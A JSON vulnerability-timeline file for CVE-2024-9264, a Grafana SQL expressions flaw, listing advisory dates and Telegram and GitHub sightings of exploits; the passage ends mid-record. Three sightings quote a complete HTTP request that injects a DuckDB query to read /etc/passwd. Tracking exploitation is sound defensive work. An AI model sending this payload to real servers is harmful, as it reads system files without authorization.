{"metadata": {"vulnerability": "CVE-2024-9264", "count": 129, "kinds": {"milestone": 18, "sighting": 47, "kev": 0, "other": 64}}, "data": [{"timestamp": "2024-09-26T20:15:46.544Z", "date_only": false, "value": "2024-09-26T20:15:46.544Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2024-9264", "field": "cveMetadata.dateReserved"}, {"timestamp": "2024-10-17T00:00:00Z", "date_only": true, "value": "2024-10-17", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2024-AVI-0899", "record": "CERTFR-2024-AVI-0899", "field": "vendor_advisories.0.published_at", "linked_record": true}, {"timestamp": "2024-10-17T15:49:14Z", "date_only": false, "value": "2024-10-17T15:49:14.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://github.com/nollium/CVE-2024-9264", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "4f41ab48-bb13-4aaa-bb8d-0fc01ade444a", "url": "https://github.com/nollium/CVE-2024-9264", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-17T22:00:00Z", "date_only": false, "value": "2024-10-17T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-3238", "record": "WID-SEC-W-2024-3238", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2024-10-17T22:00:00Z", "date_only": false, "value": "2024-10-17T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-3238", "record": "WID-SEC-W-2024-3238", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-10-17T22:00:00Z", "date_only": false, "value": "2024-10-17T22:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-3238", "record": "WID-SEC-W-2024-3238", "field": "vulnerabilities.0.release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-10-18T00:00:00Z", "date_only": false, "value": "2024-10-18T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2024-AVI-0899", "record": "CERTFR-2024-AVI-0899", "field": "revisions.0.revision_date", "linked_record": true}, {"timestamp": "2024-10-18T03:20:52.489Z", "date_only": false, "value": "2024-10-18T03:20:52.489Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-9264", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2024-10-18T03:20:52.489Z", "date_only": false, "value": "2024-10-18T03:20:52.489Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / GRAFANA", "record": "CVE-2024-9264", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2024-10-18T04:15:00Z", "date_only": false, "value": "2024-10-18T04:15:00Z", "kind": "milestone", "label": "Published", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2024-9264", "record": "UBUNTU-CVE-2024-9264", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-10-18T04:15:04Z", "date_only": false, "value": "2024-10-18T04:15:04Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-Q99M-QCV4-FPM7", "record": "GHSA-Q99M-QCV4-FPM7", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2024-10-18T04:15:04.723Z", "date_only": false, "value": "2024-10-18T04:15:04.723", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-9264", "record": "FKIE_CVE-2024-9264", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-10-18T06:30:32Z", "date_only": false, "value": "2024-10-18T06:30:32Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-Q99M-QCV4-FPM7", "record": "GHSA-Q99M-QCV4-FPM7", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-10-18T06:52:30Z", "date_only": false, "value": "2024-10-18T06:52:30.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cvedetector/8272", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "8181070e-70b4-492d-ac04-6ca92335aa21", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-9264 - Grafana SQL Expressions Command Injection and Local File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-9264 \nPublished : Oct. 18, 2024, 4:15 a.m. | 31\u00a0minutes ago \nDescription : The SQL Expressions experimental feature of Grafana allows for the evaluation of `duckdb` queries containing user input. These queries are insufficiently sanitized before being passed to `duckdb`, leading to a command injection and local file inclusion vulnerability. Any user with the VIEWER or higher permission is capable of executing this attack.  The `duckdb` binary must be present in Grafana's $PATH for this attack to function; by default, this binary is not installed in Grafana distributions. \nSeverity: 9.9 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "url": "https://t.me/cvedetector/8272"}, {"timestamp": "2024-10-18T12:29:00.856Z", "date_only": false, "value": "2024-10-18T12:29:00.856730Z", "kind": "sighting", "label": "Seen", "source": "Source not specified", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "12a06d38-0191-4d6c-859f-af3e498007f2"}, {"timestamp": "2024-10-19T16:44:06Z", "date_only": false, "value": "2024-10-19T16:44:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/3340", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "59658214-a71a-43c7-9649-4fcaca2f1868", "content": "https://github.com/nollium/CVE-2024-9264\n\nExploit for Grafana arbitrary file-read (CVE-2024-9264)\n#github #exploit", "url": "https://t.me/CNArsenal/3340", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-19T16:48:20Z", "date_only": false, "value": "2024-10-19T16:48:20.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/19780", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "3e118e0b-246a-4a71-bddf-3226f97f615b", "content": "https://github.com/nollium/CVE-2024-9264\n\nExploit for Grafana arbitrary file-read (CVE-2024-9264)\n#github #exploit", "url": "https://t.me/realLulzSec/19780", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-19T16:48:20Z", "date_only": false, "value": "2024-10-19T16:48:20.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/2326", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "d23cfb86-ca6d-4e2b-b8f0-ac2b43bd1994", "content": "https://github.com/nollium/CVE-2024-9264\n\nExploit for Grafana arbitrary file-read (CVE-2024-9264)\n#github #exploit", "url": "https://t.me/realLulzSec/2326", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-19T19:13:42Z", "date_only": false, "value": "2024-10-19T19:13:42.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackerArsenal/575", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "6aa4b2d4-5f9c-4bdd-899b-4e2b7d7e9cf4", "content": "https://github.com/nollium/CVE-2024-9264\n\nExploit for Grafana arbitrary file-read (CVE-2024-9264)\n#github #exploit", "url": "https://t.me/HackerArsenal/575", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-20T01:13:17Z", "date_only": false, "value": "2024-10-20T01:13:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8784", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "c35f943d-c77e-4530-a34b-f9b1b0ae4256", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aGrafana PoC (CVE-2024-9264)\nURL\uff1ahttps://github.com/z3k0sec/File-Read-File-Read-CVE-2024-9264\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8784", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-20T01:17:27Z", "date_only": false, "value": "2024-10-20T01:17:27.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8785", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "555712eb-3aa8-4ae7-8c48-14cd02379cdc", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aFile Read Proof of Concept for CVE-2024-9264\nURL\uff1ahttps://github.com/z3k0sec/File-Read-CVE-2024-9264\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8785", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-20T05:25:32Z", "date_only": false, "value": "2024-10-20T05:25:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8788", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "599c9557-6241-4528-9b6c-4fa95b74738a", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aExploit for Grafana arbitrary file-read (CVE-2024-9264)\nURL\uff1ahttps://github.com/zgimszhd61/CVE-2024-9264\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8788", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-20T17:44:25Z", "date_only": false, "value": "2024-10-20T17:44:25.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/proxy_bar/2319", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "602a767a-437b-4f44-bd6c-b8cbf2d10456", "content": "CVE-2024-9264  Grafana\n*\nexploit", "url": "https://t.me/proxy_bar/2319"}, {"timestamp": "2024-10-20T17:45:56Z", "date_only": false, "value": "2024-10-20T17:45:56.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ZeroEthical_Course/1786", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "7d5a92bc-4f98-42ed-9d58-80f6e0924270", "content": "\ud83d\udc7eCVE-2024-9264  Grafana\n\n\ud83d\udd17exploit", "url": "https://t.me/ZeroEthical_Course/1786", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-20T21:26:03Z", "date_only": false, "value": "2024-10-20T21:26:03.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/tech_b0lt_Genona/4743", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "2778e237-c3ec-46c1-805a-4a2142982ff1", "content": "9.4 CRITICAL\n\nThe SQL Expressions experimental feature of Grafana allows for the evaluation of `duckdb` queries containing user input. These queries are insufficiently sanitized before being passed to `duckdb`, leading to a command injection and local file inclusion vulnerability. Any user with the VIEWER or higher permission is capable of executing this attack. The `duckdb` binary must be present in Grafana's $PATH for this attack to function; by default, this binary is not installed in Grafana distributions.\nhttps://nvd.nist.gov/vuln/detail/CVE-2024-9264\n\nPoC\n\nThis PoC demonstrates the exploitation of CVE-2024-9264 using an authenticated user to perform a DuckDB SQL query and read an arbitrary file on the filesystem.\n\nhttps://github.com/nollium/CVE-2024-9264\n\n\u0421\u043f\u0430\u0441\u0438\u0431\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u0447\u0438\u043a\u0443 \u0437\u0430 \u0441\u0441\u044b\u043b\u043a\u0443", "url": "https://t.me/tech_b0lt_Genona/4743", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-21T00:00:00Z", "date_only": false, "value": "2024-10-21T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2024-AVI-0899", "record": "CERTFR-2024-AVI-0899", "field": "revisions.1.revision_date", "linked_record": true}, {"timestamp": "2024-10-21T02:05:02Z", "date_only": false, "value": "2024-10-21T02:05:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8781", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "dc6b5fba-908f-4d12-bde5-c60054ab18d2", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aExploit for Grafana arbitrary file-read (CVE-2024-9264)\nURL\uff1ahttps://github.com/nollium/CVE-2024-9264\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8781", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-21T11:06:33Z", "date_only": false, "value": "2024-10-21T11:06:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/orderofsixangles/2483", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "ba936212-44e2-491e-b73f-162788f45368", "content": "Pitfalls of COM object activation\n\nHow to Use Windows Volume Shadow Copies in Digital Forensics\n\nShellcode: Obfuscation with Permutations\n\nRelay Attack on WinReg RPC Client\n\nbedevil: Dynamic Linker Patching\n\nExploit for Grafana arbitrary file-read (CVE-2024-9264)\n\nchill kernel hacking for fun (week 38, debug stack crash)", "url": "https://t.me/orderofsixangles/2483", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-21T18:10:52Z", "date_only": false, "value": "2024-10-21T18:10:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/S_E_Reborn/5184", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "f42e30db-0bf8-4820-bcea-2811afe66c3a", "content": "Pitfalls of COM object activation\n\nHow to Use Windows Volume Shadow Copies in Digital Forensics\n\nShellcode: Obfuscation with Permutations\n\nRelay Attack on WinReg RPC Client\n\nbedevil: Dynamic Linker Patching\n\nExploit for Grafana arbitrary file-read (CVE-2024-9264)\n\nchill kernel hacking for fun (week 38, debug stack crash)", "url": "https://t.me/S_E_Reborn/5184", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-21T22:20:48Z", "date_only": false, "value": "2024-10-21T22:20:48.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8806", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "0211d6e9-2429-49c3-92b4-0bf3be97ea9c", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aGrafana RCE exploit (CVE-2024-9264)\nURL\uff1ahttps://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/8806", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-22T06:16:48Z", "date_only": false, "value": "2024-10-22T06:16:48.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/5igKRsajI7IthQ32LqkCkoxcoI78FuKjBuHzgtzXnBbqfw", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "3f7eeb16-3ff7-4177-b452-ac160cdb5704", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-22T07:09:52.003Z", "date_only": false, "value": "2024-10-22T07:09:52.003Z", "kind": "milestone", "label": "Published", "source": "bitnami_vulndb \u00b7 BIT-GRAFANA-2024-9264", "record": "BIT-GRAFANA-2024-9264", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-10-25T19:30:02Z", "date_only": false, "value": "2024-10-25T19:30:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/11305", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "28f40592-eee7-4e3f-8115-cb2e13ee5136", "content": "#exploit\n1. CVE-2024-44133:\nPrivacy Controls Bypasses in Safari (+ \"HM-Surf\" evaluator)\nhttps://github.com/yo-yo-yo-jbo/hm-surf\n\n2. CVE-2024-9264:\nGrafana Post-Auth DuckDB SQLI (File Read)\nhttps://github.com/nollium/CVE-2024-9264\n\n3. CVE-2024-27983:\nHTTP2 Node.js server DoS\nhttps://github.com/lirantal/CVE-2024-27983-nodejs-http2", "url": "https://t.me/CyberSecurityTechnologies/11305", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-26T13:55:32Z", "date_only": false, "value": "2024-10-26T13:55:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/god_of_server/7", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "1c19059e-a2e5-4994-9576-471e16c362e0", "content": "#exploit\n1. CVE-2024-44133:\nPrivacy Controls Bypasses in Safari (+ \"HM-Surf\" evaluator)\nhttps://github.com/yo-yo-yo-jbo/hm-surf\n\n2. CVE-2024-9264:\nGrafana Post-Auth DuckDB SQLI (File Read)\nhttps://github.com/nollium/CVE-2024-9264\n\n3. CVE-2024-27983:\nHTTP2 Node.js server DoS\nhttps://github.com/lirantal/CVE-2024-27983-nodejs-http2\n\n\n\ud83d\udd23\ud83d\udd23", "url": "https://t.me/god_of_server/7", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-28T00:00:00Z", "date_only": false, "value": "2024-10-28T00:00:00Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:14431-1", "record": "OPENSUSE-SU-2024:14431-1", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2024-10-28T00:00:00Z", "date_only": false, "value": "2024-10-28T00:00:00Z", "kind": "other", "label": "Document generated", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:14431-1", "record": "OPENSUSE-SU-2024:14431-1", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2024-10-28T00:00:00Z", "date_only": false, "value": "2024-10-28T00:00:00Z", "kind": "other", "label": "Impact", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:14431-1", "record": "OPENSUSE-SU-2024:14431-1", "field": "vulnerabilities.0.threats.0.date", "linked_record": true}, {"timestamp": "2024-10-28T00:00:00Z", "date_only": false, "value": "2024-10-28T00:00:00Z", "kind": "milestone", "label": "Published", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:14431-1", "record": "OPENSUSE-SU-2024:14431-1", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-10-29T23:00:00Z", "date_only": false, "value": "2024-10-29T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-3238", "record": "WID-SEC-W-2024-3238", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2024-11-01T00:00:00Z", "date_only": false, "value": "2024-11-01T00:00:00Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:14447-1", "record": "OPENSUSE-SU-2024:14447-1", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2024-11-01T00:00:00Z", "date_only": false, "value": "2024-11-01T00:00:00Z", "kind": "other", "label": "Document generated", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:14447-1", "record": "OPENSUSE-SU-2024:14447-1", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2024-11-01T00:00:00Z", "date_only": false, "value": "2024-11-01T00:00:00Z", "kind": "other", "label": "Impact", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:14447-1", "record": "OPENSUSE-SU-2024:14447-1", "field": "vulnerabilities.0.threats.0.date", "linked_record": true}, {"timestamp": "2024-11-01T00:00:00Z", "date_only": false, "value": "2024-11-01T00:00:00Z", "kind": "milestone", "label": "Published", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:14447-1", "record": "OPENSUSE-SU-2024:14447-1", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-11-01T03:55:22.563Z", "date_only": false, "value": "2024-11-01T03:55:22.563345Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-9264", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2024-11-01T03:55:22.563Z", "date_only": false, "value": "2024-11-01T03:55:22.563345Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-9264", "record": "FKIE_CVE-2024-9264", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2024-11-05T07:45:02Z", "date_only": false, "value": "2024-11-05T07:45:02Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2024:3911-1", "record": "SUSE-SU-2024:3911-1", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2024-11-05T07:45:02Z", "date_only": false, "value": "2024-11-05T07:45:02Z", "kind": "other", "label": "Document generated", "source": "csaf_suse \u00b7 SUSE-SU-2024:3911-1", "record": "SUSE-SU-2024:3911-1", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2024-11-05T07:45:02Z", "date_only": false, "value": "2024-11-05T07:45:02Z", "kind": "other", "label": "Impact", "source": "csaf_suse \u00b7 SUSE-SU-2024:3911-1", "record": "SUSE-SU-2024:3911-1", "field": "vulnerabilities.0.threats.0.date", "linked_record": true}, {"timestamp": "2024-11-05T07:45:02Z", "date_only": false, "value": "2024-11-05T07:45:02Z", "kind": "milestone", "label": "Published", "source": "csaf_suse \u00b7 SUSE-SU-2024:3911-1", "record": "SUSE-SU-2024:3911-1", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-11-05T07:45:02Z", "date_only": false, "value": "2024-11-05T07:45:02Z", "kind": "other", "label": "Updated", "source": "csaf_suse \u00b7 SUSE-SU-2024:3911-1", "record": "SUSE-SU-2024:3911-1", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2024-11-05T14:52:20Z", "date_only": false, "value": "2024-11-05T14:52:20Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:0350-1", "record": "OPENSUSE-SU-2024:0350-1", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2024-11-05T14:52:20Z", "date_only": false, "value": "2024-11-05T14:52:20Z", "kind": "other", "label": "Document generated", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:0350-1", "record": "OPENSUSE-SU-2024:0350-1", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2024-11-05T14:52:20Z", "date_only": false, "value": "2024-11-05T14:52:20Z", "kind": "other", "label": "Impact", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:0350-1", "record": "OPENSUSE-SU-2024:0350-1", "field": "vulnerabilities.0.threats.0.date", "linked_record": true}, {"timestamp": "2024-11-05T14:52:20Z", "date_only": false, "value": "2024-11-05T14:52:20Z", "kind": "milestone", "label": "Published", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:0350-1", "record": "OPENSUSE-SU-2024:0350-1", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-11-05T14:52:20Z", "date_only": false, "value": "2024-11-05T14:52:20Z", "kind": "other", "label": "Updated", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:0350-1", "record": "OPENSUSE-SU-2024:0350-1", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2024-11-06T11:01:32Z", "date_only": false, "value": "2024-11-06T11:01:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/3419", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "20fe6721-4655-4dc9-8868-b14a81a77af0", "content": "CVE-2024-9264\n\nPOST /api/ds/query?ds_type=expr&expression=true&requestId=Q100 HTTP/1.1\nHost: 127.0.0.1\nContent-Type: application/json\nCookie: grafana_session=a739fa9aeb235f2790f17de00fefe528\nContent-Length: 368\n\n{\n  \"from\": \"1696154400000\",\n  \"to\": \"1696345200000\",\n  \"queries\": [\n    {\n      \"datasource\": {\n        \"name\": \"Expression\",\n        \"type\": \"expr\",\n        \"uid\": \"expr\"\n      },\n      \"expression\": \"SELECT * FROM read_csv_auto('/etc/passwd');\",\n      \"hide\": false,\n      \"refId\": \"B\",\n      \"type\": \"sql\",\n      \"window\": \"\"\n    }\n  ]\n}\n\n/etc/passwd\n\n#exploit #poc", "url": "https://t.me/CNArsenal/3419", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-11-06T11:03:20Z", "date_only": false, "value": "2024-11-06T11:03:20.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/haj3imad/20488", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "a7fbf6d9-9288-4ede-a205-33897447a559", "content": "CVE-2024-9264\n\nPOST /api/ds/query?ds_type=expr&expression=true&requestId=Q100 HTTP/1.1\nHost: 127.0.0.1\nContent-Type: application/json\nCookie: grafana_session=a739fa9aeb235f2790f17de00fefe528\nContent-Length: 368\n\n{\n  \"from\": \"1696154400000\",\n  \"to\": \"1696345200000\",\n  \"queries\": [\n    {\n      \"datasource\": {\n        \"name\": \"Expression\",\n        \"type\": \"expr\",\n        \"uid\": \"expr\"\n      },\n      \"expression\": \"SELECT * FROM read_csv_auto('/etc/passwd');\",\n      \"hide\": false,\n      \"refId\": \"B\",\n      \"type\": \"sql\",\n      \"window\": \"\"\n    }\n  ]\n}\n\n/etc/passwd\n\n#exploit #poc", "url": "https://t.me/haj3imad/20488", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-11-18T09:06:32Z", "date_only": false, "value": "2024-11-18T09:06:32.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ckeArsenal/18", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "ed5497f4-bc64-4b06-bb5e-4493b203c857", "content": "CVE-2024-9264\n\nPOST /api/ds/query?ds_type=expr&expression=true&requestId=Q100 HTTP/1.1\nHost: 127.0.0.1\nContent-Type: application/json\nCookie: grafana_session=a739fa9aeb235f2790f17de00fefe528\nContent-Length: 368\n\n{\n  \"from\": \"1696154400000\",\n  \"to\": \"1696345200000\",\n  \"queries\": [\n    {\n      \"datasource\": {\n        \"name\": \"Expression\",\n        \"type\": \"expr\",\n        \"uid\": \"expr\"\n      },\n      \"expression\": \"SELECT * FROM read_csv_auto('/etc/passwd');\",\n      \"hide\": false,\n      \"refId\": \"B\",\n      \"type\": \"sql\",\n      \"window\": \"\"\n    }\n  ]\n}\n\n/etc/passwd\n\n#exploit #poc", "url": "https://t.me/ckeArsenal/18", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-03-14T10:03:06.561Z", "date_only": false, "value": "2025-03-14T10:03:06.561Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2024-9264", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-03-14T11:40:19.275Z", "date_only": false, "value": "2025-03-14T11:40:19.275344Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lkdjnlxjb42o", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "cd394f62-56cc-43f8-bdb2-dbeef9c4a6a4", "url": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lkdjnlxjb42o"}, {"timestamp": "2025-03-14T20:26:23Z", "date_only": false, "value": "2025-03-14T20:26:23Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-Q99M-QCV4-FPM7", "record": "GHSA-Q99M-QCV4-FPM7", "field": "modified", "linked_record": true}, {"timestamp": "2025-05-19T15:29:36Z", "date_only": false, "value": "2025-05-19T15:29:36.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://gist.github.com/henriquetorquato/cf57586d8a8f85aede76b99d62f8896d", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "1af441db-1f02-4b53-ad33-d10d7fd889f8", "url": "https://gist.github.com/henriquetorquato/cf57586d8a8f85aede76b99d62f8896d", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-06-17T22:00:00Z", "date_only": false, "value": "2025-06-17T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-3238", "record": "WID-SEC-W-2024-3238", "field": "document.tracking.revision_history.2.date", "linked_record": true}, {"timestamp": "2025-06-18T02:07:51Z", "date_only": false, "value": "2025-06-18T02:07:51Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2025:01985-1", "record": "SUSE-SU-2025:01985-1", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2025-06-18T02:07:51Z", "date_only": false, "value": 